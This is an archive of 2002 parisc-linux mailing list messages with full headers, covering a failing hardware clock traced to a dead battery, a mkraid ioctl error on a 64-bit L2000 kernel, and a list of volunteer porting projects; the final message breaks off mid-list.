List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14659

IMHO all HP hardware is of exceptional quality. I have used their
products for years all the way from RPN calculators, to a Pavilion PC,
to a 715/80, to a C200. They are without a doubt the best computer
company ever. When I was at Penn State, I learned MC68000 assembly
on a HP minicomputer running a whole lab of terminals (we used VI)
and had a great time with it!

I love this new C200 I got. Unfortunately, as a home computer hobbyist,
I cannot afford to purchase their newer hardware, but they seem to be
a great platform to port linux to. Linux is a great home OS because
it has thousands of apps available and makes an excellent experimenter
system. HP/UX is great for high-end engineering apps on the cutting edge
of technology but by the time these systems filter down to the home
user Linux becomes a lot more attractive because the big $$$ CAD apps
have probably been deleted and us experimenters can't afford to license
such things.

I am probably pushing my luck here as this is not really kernel-specific
stuff, but if any cpu's ever made sense they were the HP ones. They had
their crap together in a big way, a pa-risc cpu is a programmer's dream.

Just do it!



Christoph Plattner wrote:
> Hello,
> 
> by the way, are there plans for supporting the good old machines.
> You know, I am interested in writing the drivers for my E55 server
> machine, my PDC console driver should help for development here.
> 
> I hope we will have a chance to start developing ....
> 
> With friendly regards
> Christoph P.
> 
> 
> Matthew Wilcox wrote:
> 
>>On Sat, Apr 27, 2002 at 12:16:07AM +0100, Dunc wrote:
>>
>>>I have been attempting to install on a hp9000/827s
>>
>>According to hp9000_models;
>>8x7/F10-I40      Old Nova servers    PCXS    NIO, None     NIO(1),NIO(2),NA
>>
>>Basically, nothing is going to work.  There's some limited support for
>>the console in these machines, but no support for the SCSI, the Lan or
>>any other cards.  Sorry.
>>
>>--
>>Revolutions do not require corporate support.
>>
>>_______________________________________________
>>parisc-linux mailing list
>>parisc-linux@lists.parisc-linux.org
>>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 






From - Thu Nov 08 21:22:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems with hardware clock
Date: Mon, 29 Apr 2002 15:38:39 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <OE32NqFJ3sl3xbYiMCI00001250@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621258 6550 80.91.229.3 (22 Nov 2014 01:54:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:18 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 29 07:42:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe32.law4.hotmail.com [216.33.148.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED257482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Apr 2002 07:42:41 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 29 Apr 2002 06:42:35 -0700
X-Originating-IP: [212.190.7.27]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 29 Apr 2002 13:42:35.0298 (UTC) FILETIME=[B82FD020:01C1EF83]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14660

Hi,

When I first booted my 712/60, that was a few months ago, it was running
some old HP-UX version. Also, the clock was running 7 years behind. After
upgrading my box to Linux I tried to set this clock to a more recent point
in time. No luck however, the date command is -for some reason- not working
for me. So I'm using this workaround to set my clock:
hwclock --set --date="04/29/2002 15:22:00", then hwclock --hctosys.
The problem is that the system does not appear to keep track of time when
it's powered off.
So if I shutdown the system, today at 18h00, the date will still be
04/29/2002 - 18h00 if I boot the system tomorrow. Sometimes the date is
reset to 1970. Currently I'm using NTP to bypass this issue.

Any ideas why this is happening? Could it be that some battery is dead?
(According to this site my box should be Y2K compliant:
http://www.wagoneers.com/UNIX/HP-UX/Y2k.html)


Thanks.

Kenneth



From - Thu Nov 08 21:22:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with hardware clock
Date: 29 Apr 2002 09:49:20 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <1020088160.2676.97.camel@archimedes.localnetsolutions.com>
References: <OE32NqFJ3sl3xbYiMCI00001250@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621259 6551 80.91.229.3 (22 Nov 2014 01:54:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:19 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>
To: kenneth westelinck <kennywest1@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 29 07:49:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id C3322482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Apr 2002 07:49:34 -0600 (MDT)
Original-Received: from user-119b1cf.biz.mindspring.com ([66.149.133.143] helo=archimedes.localnetsolutions.com)
	by barry.mail.mindspring.net with esmtp (Exim 3.33 #1)
	id 172BWu-0006rc-00; Mon, 29 Apr 2002 09:49:24 -0400
Original-Received: (from jkinney@localhost)
	by archimedes.localnetsolutions.com (8.11.6/linuxconf) id g3TDnKh18021;
	Mon, 29 Apr 2002 09:49:20 -0400
In-Reply-To: <OE32NqFJ3sl3xbYiMCI00001250@hotmail.com>
X-Mailer: Ximian Evolution 1.0.3 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14661

That really sounds like a dead battery problem to me. I don't ave near
the PaRISK experience that I do on intel and sgi. But the symptoms are
identical to to dead battery symptoms on both other platforms.

On Mon, 2002-04-29 at 09:38, kenneth westelinck wrote:
> Hi,
> 
> When I first booted my 712/60, that was a few months ago, it was running
> some old HP-UX version. Also, the clock was running 7 years behind. After
> upgrading my box to Linux I tried to set this clock to a more recent point
> in time. No luck however, the date command is -for some reason- not working
> for me. So I'm using this workaround to set my clock:
> hwclock --set --date="04/29/2002 15:22:00", then hwclock --hctosys.
> The problem is that the system does not appear to keep track of time when
> it's powered off.
> So if I shutdown the system, today at 18h00, the date will still be
> 04/29/2002 - 18h00 if I boot the system tomorrow. Sometimes the date is
> reset to 1970. Currently I'm using NTP to bypass this issue.
> 
> Any ideas why this is happening? Could it be that some battery is dead?
> (According to this site my box should be Y2K compliant:
> http://www.wagoneers.com/UNIX/HP-UX/Y2k.html)
> 
> 
> Thanks.
> 
> Kenneth
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
-- 
James P. Kinney III   \Changing the mobile computing world/
President and CEO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint = 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7 





From - Thu Nov 08 21:22:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with hardware clock
Date: Mon, 29 Apr 2002 16:18:26 +0200
Lines: 65
Approved: news@gmane.org
Message-ID: <OE69W9EdZrr34EL6l2C000010c4@hotmail.com>
References: <OE32NqFJ3sl3xbYiMCI00001250@hotmail.com> <1020088160.2676.97.camel@archimedes.localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621259 6555 80.91.229.3 (22 Nov 2014 01:54:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:19 +0000 (UTC)
Cc: "palinux" <parisc-linux@lists.parisc-linux.org>
To: "James P. Kinney III" <jkinney@localnetsolutions.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 29 08:22:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe69.law4.hotmail.com [216.33.148.165])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DB75482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Apr 2002 08:22:20 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 29 Apr 2002 07:22:19 -0700
X-Originating-IP: [212.190.7.27]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 29 Apr 2002 14:22:19.0335 (UTC) FILETIME=[452EFD70:01C1EF89]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14662

Cool, will I be able to replace it?

----- Original Message -----
From: "James P. Kinney III" <jkinney@localnetsolutions.com>
To: "kenneth westelinck" <kennywest1@hotmail.com>
Cc: "palinux" <parisc-linux@lists.parisc-linux.org>
Sent: Monday, April 29, 2002 3:49 PM
Subject: Re: [parisc-linux] Problems with hardware clock


> That really sounds like a dead battery problem to me. I don't ave near
> the PaRISK experience that I do on intel and sgi. But the symptoms are
> identical to to dead battery symptoms on both other platforms.
>
> On Mon, 2002-04-29 at 09:38, kenneth westelinck wrote:
> > Hi,
> >
> > When I first booted my 712/60, that was a few months ago, it was running
> > some old HP-UX version. Also, the clock was running 7 years behind.
After
> > upgrading my box to Linux I tried to set this clock to a more recent
point
> > in time. No luck however, the date command is -for some reason- not
working
> > for me. So I'm using this workaround to set my clock:
> > hwclock --set --date="04/29/2002 15:22:00", then hwclock --hctosys.
> > The problem is that the system does not appear to keep track of time
when
> > it's powered off.
> > So if I shutdown the system, today at 18h00, the date will still be
> > 04/29/2002 - 18h00 if I boot the system tomorrow. Sometimes the date is
> > reset to 1970. Currently I'm using NTP to bypass this issue.
> >
> > Any ideas why this is happening? Could it be that some battery is dead?
> > (According to this site my box should be Y2K compliant:
> > http://www.wagoneers.com/UNIX/HP-UX/Y2k.html)
> >
> >
> > Thanks.
> >
> > Kenneth
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> --
> James P. Kinney III   \Changing the mobile computing world/
> President and CEO      \          one Linux user         /
> Local Net Solutions,LLC \           at a time.          /
> 770-493-8244             \.___________________________./
>
> GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
> <jkinney@localnetsolutions.com>
> Fingerprint = 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7
>
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:22:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with hardware clock
Date: Mon, 29 Apr 2002 15:24:40 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20020429152440.B7676@parcelfarce.linux.theplanet.co.uk>
References: <OE32NqFJ3sl3xbYiMCI00001250@hotmail.com> <1020088160.2676.97.camel@archimedes.localnetsolutions.com> <OE69W9EdZrr34EL6l2C000010c4@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621259 6560 80.91.229.3 (22 Nov 2014 01:54:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:19 +0000 (UTC)
Cc: "James P. Kinney III" <jkinney@localnetsolutions.com>,
	palinux <parisc-linux@lists.parisc-linux.org>
To: kenneth westelinck <kennywest1@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 29 08:24:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0D11482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Apr 2002 08:24:41 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 172C52-00029I-00; Mon, 29 Apr 2002 15:24:40 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <OE69W9EdZrr34EL6l2C000010c4@hotmail.com>; from kennywest1@hotmail.com on Mon, Apr 29, 2002 at 04:18:26PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14663

On Mon, Apr 29, 2002 at 04:18:26PM +0200, kenneth westelinck wrote:
> Cool, will I be able to replace it?

Yes, it's a standard motherboard battery, though i forget the part number
off hand.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with hardware clock
Date: Mon, 29 Apr 2002 16:22:46 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <OE459wzG0yn6aCrBT6L00001266@hotmail.com>
References: <OE32NqFJ3sl3xbYiMCI00001250@hotmail.com> <1020088160.2676.97.camel@archimedes.localnetsolutions.com> <OE69W9EdZrr34EL6l2C000010c4@hotmail.com> <20020429152440.B7676@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621260 6563 80.91.229.3 (22 Nov 2014 01:54:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:20 +0000 (UTC)
Cc: "James P. Kinney III" <jkinney@localnetsolutions.com>,
	"palinux" <parisc-linux@lists.parisc-linux.org>
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 29 08:26:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe45.law4.hotmail.com [216.33.148.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34E5A482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Apr 2002 08:26:40 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 29 Apr 2002 07:26:38 -0700
X-Originating-IP: [212.190.7.27]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 29 Apr 2002 14:26:38.0820 (UTC) FILETIME=[DFD94240:01C1EF89]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14664

Thanks, I'll try to replace it later this week.

----- Original Message -----
From: "Matthew Wilcox" <willy@debian.org>
To: "kenneth westelinck" <kennywest1@hotmail.com>
Cc: "James P. Kinney III" <jkinney@localnetsolutions.com>; "palinux"
<parisc-linux@lists.parisc-linux.org>
Sent: Monday, April 29, 2002 4:24 PM
Subject: Re: [parisc-linux] Problems with hardware clock


> On Mon, Apr 29, 2002 at 04:18:26PM +0200, kenneth westelinck wrote:
> > Cool, will I be able to replace it?
>
> Yes, it's a standard motherboard battery, though i forget the part number
> off hand.
>
> --
> Revolutions do not require corporate support.
>



From - Thu Nov 08 21:22:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Braid" <james.braid@peace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] mkraid doesnt work on L2000 with 64-bit kernel
Date: Tue, 30 Apr 2002 17:58:59 +1200
Lines: 67
Approved: news@gmane.org
Message-ID: <002a01c1f00c$1f288eb0$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621260 6565 80.91.229.3 (22 Nov 2014 01:54:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:20 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr 29 23:56:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from intro.peace.co.nz (intro.peace.co.nz [202.14.141.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id B550A482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Apr 2002 23:56:23 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14665

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I have a dual CPU L2000 and have installed the 0.9.3 release of
PA-RISC Linux and dist-upgraded to the latest unstable Debian
packages. I am running kernel 2.4.9-64, but this problem also occurs
with 2.4.17-64-smp and non-smp, and 2.4.18-64-smp and non-smp.

When I attempt to make a software RAID0 array on 3 1Gb partitions on
3 18.2gb internal SCSI disks, I get this error:

hypo:~# mkraid /dev/md0
handling MD device /dev/md0
analyzing super-block
disk 0: /dev/sdb1, 976880kB, raid superblock at 976768kB
disk 1: /dev/sdc1, 976880kB, raid superblock at 976768kB
disk 2: /dev/sdd1, 976880kB, raid superblock at 976768kB
mkraid: aborted, see the syslog and /proc/mdstat for potential clues.

Syslog says:

hypo:~# tail /var/log/syslog
Apr 30 05:36:34 hypo kernel: sys32_ioctl: Unknown cmd fd(3)
cmd(400c0910) arg(00028a44)
Apr 30 05:36:34 hypo kernel: sys32_ioctl: Unknown cmd fd(4)
cmd(400c0910) arg(bff00350)
Apr 30 05:36:34 hypo kernel: sys32_ioctl: Unknown cmd fd(4)
cmd(80480923) arg(00029390)

/proc/mdstat says:

hypo:~# cat /proc/mdstat
Personalities : [raid0]
read_ahead not set
unused devices: <none>

I've had a look through the archives and found a few posts about
32-bit to 64-bit IOCTLs but nothing seemed to specifically mention
the RAID stuff.

I also had a look in arch/parisc/kernel/ioctl32.c and there were a
couple of lines commented out with comments like "new RAID code is
half merged". Is RAID on 64-bit PA-RISC a work in progress?

Also, I have noticed that the 2nd CPU in the L2000 is always disabled
when I boot with a SMP kernel, errors like SMP: CPU3 is stuck appear
near the start of bootup. (Sorry I don't have any more detail on
these, but I can provide it if needed)

Any ideas/help would be greatly appreciated. I can provide more
details if needed.

Cheers, James

BTW: Great job on the port to PA-RISC :)

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.1.1

iQA/AwUBPM4yo1W+bhIOiSqWEQJSZQCguc5h0mrXQ7pD352VuLeZDeSJ7PkAnjdl
P8k6Y/oUEcFa8kS95ISO+xQz
=2axk
-----END PGP SIGNATURE-----




From - Thu Nov 08 21:22:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] wishlist projects, looking for volunteers
Date: Mon, 29 Apr 2002 23:21:37 -0700
Lines: 68
Approved: news@gmane.org
Message-ID: <20020430062137.GF30370@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621260 6568 80.91.229.3 (22 Nov 2014 01:54:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:20 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 30 00:17:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FA73482B
	for <parisc-linux@parisc-linux.org>; Tue, 30 Apr 2002 00:17:19 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id ptizmaaa for parisc-linux@parisc-linux.org; Mon, 29 Apr 2002 23:15:56 -0700
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 96C2ECD293; Mon, 29 Apr 2002 23:21:37 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14666

Hi all,

Just thought I'd post a list of some interesting (IMHO) user-space
projects for parisc-linux.  Feel free to volunteer on anything you
find interesting :-) many of these are good ways to learn things about
an OS/architecture that you don't usually have a chance to do so on more
established platforms. Plus there are lots of people (on this list) who
are willing to answer questions :-)

binutils related
- for hppa64-linux binutils, the linker is always putting dynamic
  sections into the resulting binary, even though they are not always
  needed. there is a sketch of how to fix this at 
http://lists.parisc-linux.org/pipermail/parisc-linux/2002-April/016049.html
- hppa's gas can only be compiled as 32-bit only or 64-bit only. it
  would be nice to make it so that it can be compiled to do both (mode
  chosen using a command line switch). this is how sparc handles mixed
  32-bit/64-bit environments

gdb related
- gdb doesn't work very well on hppa, single stepping with step/next
  often does not work (looks like it can't find the stopping point for
  the next statement). needs to be investigated and fixed
- gdb doesn't recognize the dwarf debug info that you get with
  gcc-3.1/gcc-3.2. needs to be enhanced (i think Dave might have already
  done some work in this area)
- we are also in need of a hppa gdb maintainer. anyone interested? :-)

gcc related
- The debian gcc package currently does not build 64-bit compilers. this
  shouldn't be too hard to fix (can use sparc as a template), just needs
  some experimentation to get it packaged properly

Java
- kaffe port to parisc-linux. i got the interpreter working (sorta) but
  many things don't yet work. would be a good project to learn about
  JITs and such...

ltrace
- this is a function-call level tracer (as opposed to strace, which is
  more on the syscall level). The current ltrace source has some
  assumptions about ELF relocation layout that doesn't work on hppa. It
  shouldn't be *hard* to fix this if you understand how pa relocation
  stubs are generated...

glibc
- there seems to be a problem with the loader going into an infinite
  loop when programs are linked with certain libraries that are linked
  against libpthread. Helge had mentioned to me that he's seen this with
  KDE, also things that are linked against the plib library seems to
  have this problem...

c++ fixing
- http://auric.debian.org/~tausq/buildd/hppa-latest.html has a list of
